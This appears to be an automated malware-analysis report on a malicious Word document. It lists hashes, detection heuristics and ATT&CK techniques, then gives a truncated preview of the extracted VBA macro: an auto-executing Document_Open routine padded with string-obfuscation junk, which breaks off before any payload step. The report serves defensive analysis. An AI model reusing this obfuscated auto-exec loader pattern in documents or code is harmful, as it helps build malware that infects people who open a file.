Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d240470d9fae7c51…

MALICIOUS

Office (OLE)

167.5 KB Created: 2018-03-25 15:32:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 79c33790990272adc8a10a1dc973ebe3 SHA-1: a6f7b0019895fe4452058052f27637b53b547527 SHA-256: d240470d9fae7c5119a586dce4c21af522c7b3c45f1167ff8da7650cf0caf62a
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro that is automatically executed upon opening the document, as indicated by the 'Document_Open' macro and 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' heuristic. This macro utilizes obfuscation techniques and calls the Shell() function, strongly suggesting it is designed to download and execute a second-stage payload. The ClamAV detection name 'Doc.Malware.Chronos-6897935-0' further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Chronos-6897935-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Chronos-6897935-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 36179 bytes
SHA-256: c7dc3754ada839f403b355724119f895e9bd9be636b2dc869a71c0572c01c313
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
    For lXdTk = 0 To 378
        oeoD = StrReverse("WnLnmrURaycIe")
        oeoD = Replace("oIceJdpOWPjRfywKYd", "oIce", "MfqVT")
        oeoD = StrReverse("mQVmvIBzlaacZeDWCh")
        oeoD = Replace("mzPTlOdtSDeqjtwOH", "mzPT", "cMXEFda")
        oeoD = Replace("tqtIPYAvaxK", "tqt", "qULad")
        oeoD = Replace("FXACttDTxyEJCcDCp", "FXAC", "mOwDs")
        oeoD = Replace("kXYwQtceFDFLKDPOS", "kXYw", "awJIqaQ")
        oeoD = Replace("ztlSypgrTzvKfwrzO", "ztl", "FpdoD")
        oeoD = StrReverse("GHyVdzHRsR")
        oeoD = StrReverse("PzHoRYOzKBDmtFpsmGi")
        oeoD = StrReverse("ioItyMpijCtFaXkrxp")
        oeoD = Replace("FIJHVykMqfxYzJDi", "FIJH", "zuSdoS")
        oeoD = Replace("vSBlGlziPEbtxthR", "vSBl", "ngWqOO")
        oeoD = Replace("iAsJTuaMgqKZoup", "iAs", "Eaco")
        oeoD = StrReverse("CihjdVlweiX")
        oeoD = StrReverse("dOTpfmYCJgTmLHxmpT")
        oeoD = Replace("QtzoEVJfGKFfOlB", "Qtz", "nwPwkF")
        oeoD = StrReverse("amYDccJLTsbnc")
                If 2719607 = 85 - 2131 Then
            GEFHs = Replace("ZdoKLDKSxRsYcHQWus", "ZdoK", "xFeKjsh")
            GEFHs = StrReverse("ZdoKLDKSxRsYcHQWus")
            YHIjS = Replace("ukzGPiMPXKQQyDEip", "ukzG", "WOygHPY")
            YHIjS = StrReverse("ukzGPiMPXKQQyDEip")
        End If
        oeoD = Replace("igZzBZctUaeCczFkA", "igZz", "HmDe")
        oeoD = Replace("OxPxGgVEmH", "OxPx", "RDeoMj")
        oeoD = Replace("OJuxsnlnZcniSXWFsu", "OJu", "DJFGlCY")
                If 3567752 = 51 - 11 Then
            CQtbe = Replace("HlOATMKDWdsQJWhYtR", "HlO", "xtiVAj")
            CQtbe = StrReverse("HlOATMKDWdsQJWhYtR")
            ucpyA = Replace("sRffAUufJo", "sRf", "BtxZxh")
            ucpyA = StrReverse("sRffAUufJo")
        End If
        oeoD = Replace("ECttwIlkmjbsz", "ECt", "yqgbuk")
        oeoD = StrReverse("hvKsIxpoOuXiaW")
    Next lXdTk
    If 13851 = 115 - 591 Then
        qsqnh = Replace("XVdYKxhjJTiPTSxKr", "XVdY", "mIdB")
        qsqnh = StrReverse("XVdYKxhjJTiPTSxKr")
        pUGDc = Replace("wxdmJbhUxzHEDb", "wxdm", "gKsA")
        pUGDc = StrReverse("wxdmJbhUxzHEDb")
    End If
        If 1867068 = 127 - 8015 Then
            DEjav = Replace("mllUwFhvfdRT", "mll", "loSJS")
            DEjav = StrReverse("mllUwFhvfdRT")
        End If
        If 631314 = 176 - 4383 Then
            bzwFj = Replace("efcUbUHfqOujX", "efcU", "gwvq")
            bzwFj = StrReverse("efcUbUHfqOujX")
        End If
    If 3882519 = 8 - 1178 Then
        KOCzx = Replace("aSnKogeZcivhcDejr", "aSn", "ijlQXUF")
        KOCzx = StrReverse("aSnKogeZcivhcDejr")
    End If
    For dVSjQ = 0 To 24
        LQcK = StrReverse("lcuzdEuPBH")
                If 1613633 = 69 - 1325 Then
            vOtTG = Replace("OSVEPVgswevgtxLpwaz", "OSVE", "QpscMhB")
            vOtTG = StrReverse("OSVEPVgswevgtxLpwaz")
        End If
        LQcK = StrReverse("LdnbSZnIyhUzOPaErAU")
        LQcK = StrReverse("MSKeLdPaDZYDYVzhfz")
        LQcK = Replace("nqiqHhDkOcdaRt", "nqiq", "nLMYA")
                If 882331 = 244 - 7696 Then
            jHIFj = Replace("GYrDKxmBGVIxboqddX", "GYr", "iePpQYC")
            jHIFj = StrReverse("GYrDKxmBGVIxboqddX")
            ZOijA = Replace("qzGvrlzhPMFVDGvXi", "qzGv", "JcTXL")
            ZOijA = StrReverse("qzGvrlzhPMFVDGvXi")
        End If
        LQcK = Replace("cqXUZfXUSiz", "cqX", "qJom")
        LQcK = Replace("AAtQbHJTyl", "AAtQ", "uIxR")
        LQcK = Replace("GUHSOQShFZmtg", "GUHS", "TWZb")
        LQcK = Replace("wAsLedgiodbsrEub", "wAsL", "xJGgApl")
        LQcK = StrReverse("gLYnnkyqarWfbgaKg")
        LQcK = StrReverse("RCPBnKgXKWWiKQuLOkO")
        LQcK = StrReverse("pVrIoGdoWuoWD")
                If 2743743 = 245 - 7018 Then
         
... (truncated)

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